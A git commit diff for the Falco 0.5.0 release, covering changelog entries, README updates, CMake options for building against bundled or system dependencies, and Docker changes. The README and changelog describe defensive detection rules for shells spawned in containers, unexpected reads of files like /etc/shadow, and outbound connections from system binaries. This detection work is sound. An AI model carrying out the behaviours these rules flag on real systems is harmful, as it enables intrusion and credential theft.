Updating docs for 0.5.0.

New changelog and readme updates.

.gitignore

@@ -6,6 +6,14 @@ test/traces-negative
 test/traces-positive
 test/traces-info
 test/job-results
+test/.phoronix-test-suite
+test/results*.json.*
 
 userspace/falco/lua/re.lua
 userspace/falco/lua/lpeg.so
+
+docker/event-generator/event-generator
+docker/event-generator/mysqld
+docker/event-generator/httpd
+docker/event-generator/sha1sum
+docker/event-generator/vipw

CHANGELOG.md

@@ -2,6 +2,83 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
+## v0.5.0
+
+Released 2016-12-22
+
+Starting with this release, we're adding a new section "Rule Changes" devoted to changes to the default ruleset `falco_rules.yaml`.
+
+### Major Changes
+
+* Cache event formatting objects so they are not re-created for every falco notification. This can result in significant speedups when the ruleset results in lots of notifications. [[#158](https://github.com/draios/falco/pull/158)]
+* Falco notifications are now throttled by a token bucket, preventing a flood of notifications when many events match a rule. Controlled by the `outputs, rate` and `outputs, max_burst` options. [[#161](https://github.com/draios/falco/pull/161)]
+
+### Minor Changes
+
+* When run from a container, you can provide the environment variable `SYSDIG_SKIP_LOAD` to skip the process of building/loading the kernel module. Thanks @carlsverre for the fix. [[#145](https://github.com/draios/falco/pull/145)]
+* Fully implement `USE_BUNDLED_DEPS` within CMakeFiles so you can build with external third-party libraries. [[#147](https://github.com/draios/falco/pull/147)]
+* Improve error messages that result when trying to load a rule with a malformed `output:` attribute [[#150](https://github.com/draios/falco/pull/150)] [[#151](https://github.com/draios/falco/pull/151)]
+* Add the ability to write event capture statistics to a file via the `-s <statsfile>` option. [[#155](https://github.com/draios/falco/pull/155)]
+* New configuration option `log_level` controls the verbosity of falco's logging. [[#160](https://github.com/draios/falco/pull/160)]
+
+
+### Bug Fixes
+
+* Improve compatibility with Sysdig Cloud Agent build [[#148](https://github.com/draios/falco/pull/148)]
+
+### Rule Changes
+
+* Add DNF as non-alerting for RPM and package management. Thanks @djcross for the fix. [[#153](https://github.com/draios/falco/pull/153)]
+* Make `google_containers/kube-proxy` a trusted image, affecting the File Open by Privileged Container/Sensitive Mount by Container rules. [[#159](https://github.com/draios/falco/pull/159)]
+* Add fail2ban-server as a program that can spawn shells. Thanks @jcoetzee for the fix. [[#168](https://github.com/draios/falco/pull/168)]
+* Add systemd as a program that can access sensitive files. Thanks @jcoetzee for the fix. [[#169](https://github.com/draios/falco/pull/169)]
+* Add apt/apt-get as programs that can spawn shells. Thanks @jcoetzee for the fix. [[#170](https://github.com/draios/falco/pull/170)]
+
+## v0.4.0
+
+Released 2016-10-25
+
+As falco depends heavily on sysdig, many changes here were actually made to sysdig and pulled in as a part of the build process. Issues/PRs starting with `sysdig/#XXX` are sysdig changes.
+
+### Major Changes
+
+* Improved visibility into containers:
+** New filter `container.privileged` to match containers running in privileged mode [[sysdig/#655](https://github.com/draios/sysdig/pull/655)] [[sysdig/#658](https://github.com/draios/sysdig/pull/658)]
+** New rules utilizing privileged state [[#121](https://github.com/draios/falco/pull/121)]
+** New filters `container.mount*` to match container mount points [[sysdig/#655](https://github.com/draios/sysdig/pull/655)]
+** New rules utilizing container mount points [[#120](https://github.com/draios/falco/pull/120)]
+** New filter `container.image.id` to match container image id [[sysdig/#661](https://github.com/draios/sysdig/pull/661)]
+
+* Improved visibility into orchestration environments:
+** New k8s.deployment.* and k8s.rs.* filters to support latest kubernetes features [[sysdg/#dbf9b5c](https://github.com/draios/sysdig/commit/dbf9b5c893d49f945c59684b4effe5700d730973)]
+** Rule changes to avoid FPs when monitoring k8s environments [[#138](https://github.com/draios/falco/pull/138)]
+** Add new options `-pc`/`-pk`/`-pm`/`-k`/`-m` analogous to sysdig command line options. These options pull metadata information from k8s/mesos servers and adjust default falco notification outputs to contain container/orchestration information when applicable. [[#131](https://github.com/draios/falco/pull/131)] [[#134](https://github.com/draios/falco/pull/134)]
+
+* Improved ability to work with file pathnames:
+** Added `glob` operator for strings, works as classic shell glob path matcher [[sysdig/#653](https://github.com/draios/sysdig/pull/653)]
+** Added `pmatch` operator to efficiently test a subject pathname against a set of target pathnames, to see if the subject is a prefix of any target [[sysdig/#660](https://github.com/draios/sysdig/pull/660)] [[#125](https://github.com/draios/falco/pull/125)]
+
+### Minor Changes
+
+* Add an event generator program that simulates suspicious activity that can be detected by falco. This is also available as a docker image [[sysdig/falco-event-generator](https://hub.docker.com/r/sysdig/falco-event-generator/)]. [[#113](https://github.com/draios/falco/pull/113)] [[#132](https://github.com/draios/falco/pull/132)]
+* Changed rule names to be human readable [[#116](https://github.com/draios/falco/pull/116)]
+* Add Copyright notice to all source files [[#126](https://github.com/draios/falco/pull/126)]
+* Changes to docker images to make it easier to massage JSON output for webhooks [[#133](https://github.com/draios/falco/pull/133)]
+* When run with `-v`, print statistics on the number of events processed and dropped [[#139](https://github.com/draios/falco/pull/139)]
+* Add ability to write trace files with `-w`. This can be useful to write a trace file in parallel with live event monitoring so you can reproduce it later. [[#140](https://github.com/draios/falco/pull/140)]
+* All rules can now take an optional `enabled` flag. With `enabled: false`, a rule will not be loaded or run against events. By default all rules are enabled [[#119](https://github.com/draios/falco/pull/119)]
+
+### Bug Fixes
+
+* Fixed rule FPs related to docker's `docker`/`dockerd` split in 1.12 [[#112](https://github.com/draios/falco/pull/112)]
+* Fixed rule FPs related to sysdigcloud agent software [[#141](https://github.com/draios/falco/pull/141)]
+* Minor changes to node.js example to avoid falco false positives [[#111](https://github.com/draios/falco/pull/111/)]
+* Fixed regression that broke configurable outputs [[#117](https://github.com/draios/falco/pull/117)]. This was not broken in 0.3.0, just between 0.3.0 and 0.4.0.
+* Fixed a lua stack leak that could cause problems when matching millions of events against a large set of rules [[#123](https://github.com/draios/falco/pull/123)]
+* Update docker files to reflect changes to `debian:unstable` docker image [[#124](https://github.com/draios/falco/pull/124)]
+* Fixed logic for detecting config files to ensure config files in `/etc/falco.yaml` are properly detected  [[#135](https://github.com/draios/falco/pull/135)] [[#136](https://github.com/draios/falco/pull/136)]
+* Don't alert on falco spawning a shell for program output notifications [[#137](https://github.com/draios/falco/pull/137)]
+
 ## v0.3.0
 
 Released 2016-08-05

CMakeLists.txt

@@ -6,8 +6,8 @@ if(NOT DEFINED FALCO_VERSION)
 	set(FALCO_VERSION "0.1.1dev")
 endif()
 
-if(NOT DEFINED DIR_ETC)
-	set(DIR_ETC "/etc")
+if(NOT DEFINED FALCO_ETC_DIR)
+	set(FALCO_ETC_DIR "/etc")
 endif()
 
 if(NOT CMAKE_BUILD_TYPE)
@@ -39,6 +39,7 @@ set(PACKAGE_NAME "falco")
 set(PROBE_VERSION "${FALCO_VERSION}")
 set(PROBE_NAME "sysdig-probe")
 set(PROBE_DEVICE_NAME "sysdig")
+set(CMAKE_INSTALL_PREFIX /usr)
 
 set(CMD_MAKE make)
 
@@ -46,99 +47,193 @@ set(SYSDIG_DIR "${PROJECT_SOURCE_DIR}/../sysdig")
 
 include(ExternalProject)
 
-set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
-message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
-set(ZLIB_INCLUDE "${ZLIB_SRC}")
-set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
-ExternalProject_Add(zlib
+option(USE_BUNDLED_DEPS "Enable bundled dependencies instead of using the system ones" ON)
+
+#
+# zlib
+
+option(USE_BUNDLED_ZLIB "Enable building of the bundled zlib" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_ZLIB)
+	find_path(ZLIB_INCLUDE zlib.h PATH_SUFFIXES zlib)
+	find_library(ZLIB_LIB NAMES z)
+	if(ZLIB_INCLUDE AND ZLIB_LIB)
+		message(STATUS "Found zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system zlib")
+	endif()
+else()
+        set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib")
+        message(STATUS "Using bundled zlib in '${ZLIB_SRC}'")
+        set(ZLIB_INCLUDE "${ZLIB_SRC}")
+        set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
+        ExternalProject_Add(zlib
 		URL "http://download.draios.com/dependencies/zlib-1.2.8.tar.gz"
 		URL_MD5 "44d667c142d7cda120332623eab69f40"
 		CONFIGURE_COMMAND "./configure"
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
-set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
-message(STATUS "Using bundled jq in '${JQ_SRC}'")
-set(JQ_INCLUDE "${JQ_SRC}")
-set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
-ExternalProject_Add(jq
+#
+# jq
+#
+option(USE_BUNDLED_JQ "Enable building of the bundled jq" ${USE_BUNDLED_DEPS})
+if(NOT USE_BUNDLED_JQ)
+	find_path(JQ_INCLUDE jq.h PATH_SUFFIXES jq)
+	find_library(JQ_LIB NAMES jq)
+	if(JQ_INCLUDE AND JQ_LIB)
+		message(STATUS "Found jq: include: ${JQ_INCLUDE}, lib: ${JQ_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system jq")
+	endif()
+else()
+        set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
+        message(STATUS "Using bundled jq in '${JQ_SRC}'")
+        set(JQ_INCLUDE "${JQ_SRC}")
+        set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
+        ExternalProject_Add(jq
                 URL "http://download.draios.com/dependencies/jq-1.5.tar.gz"
                 URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
                 CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
                 BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
                 BUILD_IN_SOURCE 1
                 INSTALL_COMMAND "")
+endif()
 
 set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
 set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
 set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
 
+#
+# curses
+#
 # we pull this in because libsinsp won't build without it
-set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses")
-set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/")
-set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
-message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
-ExternalProject_Add(ncurses
+
+option(USE_BUNDLED_NCURSES "Enable building of the bundled ncurses" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_NCURSES)
+	set(CURSES_NEED_NCURSES TRUE)
+	find_package(Curses REQUIRED)
+	message(STATUS "Found ncurses: include: ${CURSES_INCLUDE_DIR}, lib: ${CURSES_LIBRARIES}")
+else()
+	set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses")
+	set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/")
+	set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
+	message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
+	ExternalProject_Add(ncurses
 		URL "http://download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
 		URL_MD5 "32b8913312e738d707ae68da439ca1f4"
 		CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
+#
+# libb64
+#
+option(USE_BUNDLED_B64 "Enable building of the bundled b64" ${USE_BUNDLED_DEPS})
 
-set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
-message(STATUS "Using bundled b64 in '${B64_SRC}'")
-set(B64_INCLUDE "${B64_SRC}/include")
-set(B64_LIB "${B64_SRC}/src/libb64.a")
-ExternalProject_Add(b64
+if(NOT USE_BUNDLED_B64)
+	find_path(B64_INCLUDE NAMES b64/encode.h)
+	find_library(B64_LIB NAMES b64)
+	if(B64_INCLUDE AND B64_LIB)
+		message(STATUS "Found b64: include: ${B64_INCLUDE}, lib: ${B64_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system b64")
+	endif()
+else()
+	set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
+	message(STATUS "Using bundled b64 in '${B64_SRC}'")
+	set(B64_INCLUDE "${B64_SRC}/include")
+	set(B64_LIB "${B64_SRC}/src/libb64.a")
+	ExternalProject_Add(b64
 		URL "http://download.draios.com/dependencies/libb64-1.2.src.zip"
 		URL_MD5 "a609809408327117e2c643bed91b76c5"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
+#
+# yamlcpp
+#
+option(USE_BUNDLED_YAMLCPP "Enable building of the bundled yamlcpp" ${USE_BUNDLED_DEPS})
 
-set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
-message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
-set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
-set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
-# Once the next version of yaml-cpp is released (first version not requiring
-# boost), we can switch to that and no longer pull from github.
-ExternalProject_Add(yamlcpp
+if(NOT USE_BUNDLED_YAMLCPP)
+	find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h)
+	find_library(YAMLCPP_LIB NAMES yaml-cpp)
+	if(YAMLCPP_INCLUDE_DIR AND YAMLCPP_LIB)
+		message(STATUS "Found yamlcpp: include: ${YAMLCPP_INCLUDE_DIR}, lib: ${YAMLCPP_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system yamlcpp")
+	endif()
+else()
+	set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp")
+	message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'")
+	set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a")
+	set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include")
+	# Once the next version of yaml-cpp is released (first version not requiring
+	# boost), we can switch to that and no longer pull from github.
+	ExternalProject_Add(yamlcpp
 		GIT_REPOSITORY "https://github.com/jbeder/yaml-cpp.git"
 		GIT_TAG "7d2873ce9f2202ea21b6a8c5ecbc9fe38032c229"
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
-set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
-set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
-set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
-set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
-set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
+#
+# OpenSSL
+#
+option(USE_BUNDLED_OPENSSL "Enable building of the bundled OpenSSL" ${USE_BUNDLED_DEPS})
 
-message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
+if(NOT USE_BUNDLED_OPENSSL)
+	find_package(OpenSSL REQUIRED)
+	message(STATUS "Found OpenSSL: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")
+else()
 
-ExternalProject_Add(openssl
+	set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
+	set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
+	set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
+	set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
+	set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
+
+	message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
+
+	ExternalProject_Add(openssl
 		URL "http://download.draios.com/dependencies/openssl-1.0.2d.tar.gz"
 		URL_MD5 "38dd619b2e77cbac69b99f52a053d25a"
 		CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND ${CMD_MAKE} install)
+endif()
 
-set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
+#
+# libcurl
+#
+option(USE_BUNDLED_CURL "Enable building of the bundled curl" ${USE_BUNDLED_DEPS})
 
+if(NOT USE_BUNDLED_CURL)
+	find_package(CURL REQUIRED)
+	message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIR}, lib: ${CURL_LIBRARIES}")
+else()
+	set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
+	set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
+	set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
 
-set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl")
-set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/")
-set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a")
-message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
-message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
+	if(NOT USE_BUNDLED_OPENSSL)
+		set(CURL_SSL_OPTION "--with-ssl")
+	else()
+		set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}")
+                message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'")
+                message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'")
+	endif()
 
-ExternalProject_Add(curl
+	ExternalProject_Add(curl
 		DEPENDS openssl
 		URL "http://download.draios.com/dependencies/curl-7.45.0.tar.bz2"
 		URL_MD5 "62c1a352b28558f25ba6209214beadc8"
@@ -146,59 +241,132 @@ ExternalProject_Add(curl
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
-set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
-message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
-set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
-set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
-ExternalProject_Add(luajit
+#
+# LuaJIT
+#
+option(USE_BUNDLED_LUAJIT "Enable building of the bundled LuaJIT" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_LUAJIT)
+	find_path(LUAJIT_INCLUDE luajit.h PATH_SUFFIXES luajit-2.0 luajit)
+	find_library(LUAJIT_LIB NAMES luajit luajit-5.1)
+	if(LUAJIT_INCLUDE AND LUAJIT_LIB)
+		message(STATUS "Found LuaJIT: include: ${LUAJIT_INCLUDE}, lib: ${LUAJIT_LIB}")
+	else()
+		# alternatively try stock Lua
+		find_package(Lua51)
+		set(LUAJIT_LIB ${LUA_LIBRARY})
+		set(LUAJIT_INCLUDE ${LUA_INCLUDE_DIR})
+
+		if(NOT ${LUA51_FOUND})
+			message(FATAL_ERROR "Couldn't find system LuaJIT or Lua")
+		endif()
+	endif()
+else()
+	set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
+	message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
+	set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
+	set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
+	ExternalProject_Add(luajit
 		URL "http://download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
 		URL_MD5 "f14e9104be513913810cd59c8c658dc0"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
+endif()
 
-set (LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
-ExternalProject_Add(lpeg
-                    DEPENDS luajit
-		    URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
-                    URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
-                    BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh"
-                    BUILD_IN_SOURCE 1
-		    CONFIGURE_COMMAND ""
-                    INSTALL_COMMAND "")
+#
+# Lpeg
+#
+option(USE_BUNDLED_LPEG "Enable building of the bundled lpeg" ${USE_BUNDLED_DEPS})
 
+if(NOT USE_BUNDLED_LPEG)
+	find_library(LPEG_LIB NAMES lpeg.a)
+	if(LPEG_LIB)
+		message(STATUS "Found lpeg: lib: ${LPEG_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system lpeg")
+	endif()
+else()
+	set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
+	set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
+	ExternalProject_Add(lpeg
+                DEPENDS luajit
+		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
+                URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
+                BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
+                BUILD_IN_SOURCE 1
+		CONFIGURE_COMMAND ""
+                INSTALL_COMMAND "")
+endif()
 
-set (LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
-set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
-ExternalProject_Add(libyaml
-		    URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
-                    URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
-                    BUILD_COMMAND ${CMD_MAKE}
-                    BUILD_IN_SOURCE 1
-		    CONFIGURE_COMMAND ./bootstrap && ./configure
-                    INSTALL_COMMAND "")
+#
+# Libyaml
+#
+option(USE_BUNDLED_LIBYAML "Enable building of the bundled libyaml" ${USE_BUNDLED_DEPS})
 
-set (LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
-set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
-ExternalProject_Add(lyaml
-		    URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
-                    URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
-                    BUILD_COMMAND ${CMD_MAKE}
-                    BUILD_IN_SOURCE 1
-		    CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
-                    INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/falco/lua")
+if(NOT USE_BUNDLED_LIBYAML)
+	# Note: to distinguish libyaml.a and yaml.a we specify a full
+	# file name here, so you'll have to arrange for static
+	# libraries being available.
+	find_library(LIBYAML_LIB NAMES libyaml.a)
+	if(LIBYAML_LIB)
+		message(STATUS "Found libyaml: lib: ${LIBYAML_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system libyaml")
+	endif()
+else()
+	set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src")
+	set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
+	ExternalProject_Add(libyaml
+		URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
+                URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
+                BUILD_COMMAND ${CMD_MAKE}
+                BUILD_IN_SOURCE 1
+		CONFIGURE_COMMAND ./bootstrap && ./configure
+                INSTALL_COMMAND "")
+endif()
+
+#
+# lyaml
+#
+option(USE_BUNDLED_LYAML "Enable building of the bundled lyaml" ${USE_BUNDLED_DEPS})
+
+if(NOT USE_BUNDLED_LYAML)
+	# Note: to distinguish libyaml.a and yaml.a we specify a full
+	# file name here, so you'll have to arrange for static
+	# libraries being available.
+	find_library(LYAML_LIB NAMES yaml.a)
+	if(LYAML_LIB)
+		message(STATUS "Found lyaml: lib: ${LYAML_LIB}")
+	else()
+		message(FATAL_ERROR "Couldn't find system lyaml")
+	endif()
+else()
+	set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
+	set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
+	ExternalProject_Add(lyaml
+		URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
+                URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
+                BUILD_COMMAND ${CMD_MAKE}
+                BUILD_IN_SOURCE 1
+		CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit
+                INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
+endif()
 
 install(FILES falco.yaml
-	DESTINATION "${DIR_ETC}")
+	DESTINATION "${FALCO_ETC_DIR}")
 
 add_subdirectory("${SYSDIG_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
 add_subdirectory("${SYSDIG_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/userspace/libscap")
 add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp")
 
-add_subdirectory(rules)
 add_subdirectory(scripts)
+set(FALCO_SINSP_LIBRARY sinsp)
+set(FALCO_SHARE_DIR ${CMAKE_INSTALL_PREFIX}/share/falco)
+add_subdirectory(userspace/engine)
 add_subdirectory(userspace/falco)
 
 

README.md

@@ -2,7 +2,7 @@
 
 ####Latest release
 
-**v0.3.0**
+**v0.5.0**
 Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
 
 Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />
@@ -16,11 +16,17 @@ Sysdig Falco is a behavioral activity monitor designed to detect anomalous activ
 Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
 
 - A shell is run inside a container
+- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
 - A server process spawns a child process of an unexpected type
 - Unexpected read of a sensitive file (like `/etc/shadow`)
 - A non-device file is written to `/dev`
 - A standard system binary (like `ls`) makes an outbound network connection
 
+#### How Falco Compares to Other Security Tools like SELinux, Auditd, etc.
+
+One of the questions we often get when we talk about Sysdig Falco is “How does it compare to other tools like SELinux, AppArmor, Auditd, etc. that also have security policies?”. We wrote a [blog post](https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/) comparing Falco to other tools.
+
+
 Documentation
 ---
 [Visit the wiki] (https://github.com/draios/falco/wiki) for full documentation on falco.

docker/dev/Dockerfile

@@ -14,12 +14,16 @@ RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
 ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
 
-RUN apt-get update \
+RUN echo "deb http://httpredir.debian.org/debian jessie main" > /etc/apt/sources.list.d/jessie.list \
+ && apt-get update \
  && apt-get install -y --no-install-recommends \
 	bash-completion \
 	curl \
+	jq \
+	gnupg2 \
 	ca-certificates \
 	gcc \
+	gcc-5 \
 	gcc-4.9 && rm -rf /var/lib/apt/lists/*
 
 # Terribly terrible hacks: since our base Debian image ships with GCC 5.0 which breaks older kernels,

docker/dev/docker-entrypoint.sh

@@ -1,13 +1,17 @@
 #!/bin/bash
 #set -e
 
-echo "* Setting up /usr/src links from host"
+# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module
 
-for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
-do 
-	ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
-done
+if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then
+    echo "* Setting up /usr/src links from host"
 
-/usr/bin/sysdig-probe-loader
+    for i in $(ls $SYSDIG_HOST_ROOT/usr/src)
+    do
+        ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i
+    done
+
+    /usr/bin/sysdig-probe-loader
+fi
 
 exec "$@"

docker/event-generator/Dockerfile

@@ -0,0 +1,6 @@
+FROM alpine:latest
